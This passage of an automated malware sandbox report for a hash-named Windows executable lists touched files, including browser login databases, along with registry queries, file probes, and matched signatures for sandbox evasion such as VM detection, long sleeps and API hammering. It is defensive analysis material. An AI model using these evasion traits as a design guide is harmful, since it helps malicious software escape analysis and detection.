Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "ssvagent.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "mscorsvw.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 3 sections"- [targetUID: N/A] "pingsender.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 7 sections"- [targetUID: N/A] "reader_sl.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "aspnet_state.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "VGAuthCLI.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "AcroTextExtractor.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "plugin-hang-ui.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 7 sections"- [targetUID: N/A] "jabswitch.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "VMwareNamespaceCmd.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "AcroRd32Info.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "perfhost.exe" has type "PE32 executable for MS Windows 6.00 (console) Intel i386 4 sections"- [targetUID: N/A] "VMwareAliasImport.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 6 sections"- [targetUID: N/A] "Uninstall.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 4 sections"- [targetUID: N/A] "policytool.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "pack200.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "ktab.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "klist.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "keytool.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "tnameserv.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "rmiregistry.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "orbd.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "servertool.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "kinit.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "rmid.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "jjs.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "java-rmi.exe" has type "PE32+ executable for MS Windows 5.02 (console) x86-64 6 sections"- [targetUID: N/A] "AdobeCollabSync.exe" has type "PE32 executable for MS Windows 6.00 (GUI) Intel i386 5 sections"- [targetUID: N/A] "7zFM.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 5 sections"- [targetUID: N/A] "ehrecvr.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- [targetUID: N/A] "vm3dservice.exe" has type "PE32+ executable for MS Windows 6.00 (GUI) x86-64 7 sections"- [targetUID: N/A] "minidump-analyzer.exe" has type "PE32+ executable for MS Windows 6.01 (console) x86-64 8 sections"- [targetUID: N/A] "SearchIndexer.exe" has type "PE32+ executable for MS Windows 6.01 (GUI) x86-64 6 sections"- [targetUID: N/A] "385ff1036e8a03cb.bin" has type "Unknown"- [targetUID: N/A] "tokens.dat" has type "Unknown"- [targetUID: N/A] "OSE.EXE" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A] "DW20.EXE" has type "PE32 executable for MS Windows 5.01 (GUI) Intel i386 4 sections"- [targetUID: N/A] "E6B84D30E5F69CEB3278532D063D4504" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\E6B84D30E5F69CEB3278532D063D4504]- [targetUID: 00000000-00003968] "WebData" has type "SQLite 3.x database last written using SQLite version 3039004 page size 2048 file counter 3 database pages 50 cookie 0x22 schema 4 UTF-8 version-valid-for 3"- [targetUID: N/A] "LoginData" has type "SQLite 3.x database last written using SQLite version 3039004 page size 2048 file counter 1 database pages 23 cookie 0xd schema 4 UTF-8 version-valid-for 1"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003968] "5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7]- [targetUID: 00000000-00003968] "CC42971B7939A9CA55C44CFC893D7C1D" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\CC42971B7939A9CA55C44CFC893D7C1D]- [targetUID: 00000000-00003968] "SystemIndex.48.gthr" has type "Unknown"- [targetUID: N/A] "3B6E683A7A45CC59BF035C9BA8C7AB9D" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\3B6E683A7A45CC59BF035C9BA8C7AB9D]- [targetUID: 00000000-00003968] "cache.dat" has type "Unknown"- [targetUID: N/A] "D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182]- [targetUID: 00000000-00003968] "D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\D2B5168CDD0EBF4C0C8EA1C3A1FAE07F_6A6C976C95DB61038C55E3E49EBCF182]- [targetUID: 00000000-00003968] "5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\5080DC7A65DB6A5960ECD874088F3328_BC00434159DAE8351451CCE9C748F5D7]- [targetUID: 00000000-00003968] "SystemIndex.48.Crwl" has type "Unknown"- [targetUID: N/A] "5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4]- [targetUID: 00000000-00003968] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157]- [targetUID: 00000000-00003968] "CC42971B7939A9CA55C44CFC893D7C1D" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\CC42971B7939A9CA55C44CFC893D7C1D]- [targetUID: 00000000-00003968] "3B6E683A7A45CC59BF035C9BA8C7AB9D" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\3B6E683A7A45CC59BF035C9BA8C7AB9D]- [targetUID: 00000000-00003968] "E6B84D30E5F69CEB3278532D063D4504" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\MetaData\E6B84D30E5F69CEB3278532D063D4504]- [targetUID: 00000000-00003968] "StartupProfileData-NonInteractive" has type "Unknown"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive]- [targetUID: 00000000-00001268] "5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4" has type "Unknown"- Location: [%LOCALAPPDATA%\ow\Microsoft\CryptnetUrlCache\Content\5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4]- [targetUID: 00000000-00003968] "setup.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 15 sections"- [targetUID: N/A] "WatAdminSvc.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 6 sections"- [targetUID: N/A]76:T84c,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: ""; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: ""; Value: "")77:Tebc,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\SQMCLIENT\WINDOWS"; Key: "CEIPENABLE"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\CONNECTIONS"; Key: "WINHTTPSETTINGS"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "ENABLEDHCP"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTRATIONENABLED"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "REGISTERADAPTERNAME"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPDOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\INTERFACES\{E390372A-3FAB-417F-940E-F2CD5C8F68CB}"; Key: "DHCPV6DOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "ENABLEDHCP"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTRATIONENABLED"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "REGISTERADAPTERNAME"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DOMAIN"; Value: "") "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS\INTERFACES\{846EE342-7039-11DE-9D20-806E6F6E6963}"; Key: "DHCPDOMAIN"; Value: "")78:T627,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" reads file "c:\windows\microsoft.net\framework\v4.0.30319\config\machine.config" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll.aux" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.windows.forms\c9a4cbc00f690a9e3cddfc400f6e85bb\system.windows.forms.ni.dll.aux" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system\2c3c912ea8f058f9d04c4650128feb3f\system.ni.dll.aux" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.drawing\f7568d7f1b9d356f64779b4c0927cfb3\system.drawing.ni.dll.aux" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.configuration\96f7edb07b12303f0ec2595c7f3778c7\system.configuration.ni.dll.aux" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.core\31fae3290fad30c31c98651462d22724\system.core.ni.dll.aux" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" reads file "c:\windows\assembly\nativeimages_v4.0.30319_32\system.xml\15af16d373cf0528cb74fc73d365fdbf\system.xml.ni.dll.aux"79:T4a3,The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string) Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string) Matched sigs: Able to identify virtual environment by using user activity (API string) Matched sigs: Able to identify virtual environment by using API string Matched sigs: Able to identify virtual/sandbox environment Matched sigs: Able to identify virtual/sandbox environment devices Matched sigs: Tries to sleep for a long time (more than two minutes) Matched sigs: Contains ability to detect presence of virtual environment (API string) Matched sigs: Attempts to call APIs commonly associated with anti-analysis and evasion techniques Matched sigs: Observed a high volume of repeated registry API calls (API Hammering) Matched sigs: Triggers a burst of requests to the same API (API Hammering) Matched sigs: Able to perform sandbox evasion using APIs Matched sigs: YARA signature match - References common sandbox DLLs (sandbox evasion)7a:T8b7,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SYSTEM32\wow64.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SYSTEM32\wow64win.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SYSTEM32\wow64cpu.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\system32\wow64log.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SysWOW64\MSCOREE.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SysWOW64\sechost.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\Temp\VxSSL32.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\FLTLIB.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SysWOW64\FLTLIB.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SysWOW64\api-ms-win-core-synch-l1-2-0.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-1.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SysWOW64\api-ms-win-core-localization-l1-2-1.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\Temp\VxOle32.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SysWOW64\IMM32.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "\FileSystem\Filters\FltMgrMsg" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\SysWOW64\MSCOREE.DLL.local" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to touch file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll"7b:T884,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched file "C:\Users\%OSUSER%\AppData\Local\Microsoft\Windows\Caches" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" touched file "%LOCALAPPDATA%\Microsoft\Windows\Caches" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "powershell.exe" touched file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "powershell.exe" touched file "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe.config" "powershell.exe" touched file "C:\Windows\Microsoft.Net\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll.config" "powershell.exe" touched file "C:\Windows\Microsoft.Net\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll.config" "powershell.exe" touched file "C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb" "powershell.exe" touched file "C:\Windows\System.Management.Automation.pdb"7c:T8df,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\system32\wow64log.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\FLTLIB.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-1.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\SysWOW64\api-ms-win-core-localization-l1-2-1.DLL" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\clr.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v1.1.4322\mscorwks.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v2.0.50727\clr.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\SysWOW64\api-ms-win-appmodel-runtime-l1-1-2.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\SysWOW64\api-ms-win-appmodel-runtime-l1-1-0.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\VCRUNTIME140_CLR0400.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\ucrtbase_clr0400.dll" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\SysWOW64\api-ms-win-core-quirks-l1-1-0.dll"7d:T61f,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\SysWOW64\MSCOREE.DLL.local" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe.config" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework\v4.0.30319\fusion.localgac" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_32\GJE\" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.INI" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe.Local\" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "C:\8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe:Zone.Identifier" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" trying to access non-existent file "\DEVICE\NETBT_TCPIP_{B840E303-4DCF-48C9-B26E-A964FAABFBDC}"7e:T590,"8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" writes file "c:\users\%osuser%\appdata\locallow\microsoft\cryptneturlcache\metadata\57c8edb95df3f0ad4ee2dc2b8cfd4157" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" writes file "c:\users\%osuser%\appdata\locallow\microsoft\cryptneturlcache\content\57c8edb95df3f0ad4ee2dc2b8cfd4157" "8aa7088ebe77e153597c1045f3e181f7bbcf226b309bb09f9e5268e739ba607e.exe" writes file "c:\users\%osuser%\appdata\locallow\microsoft\cryptneturlcache\metadata\5457a8ce4b2a7499f8299a013b6e1c7c_ce50f893881d43dc0c815e4d80faf2b4" 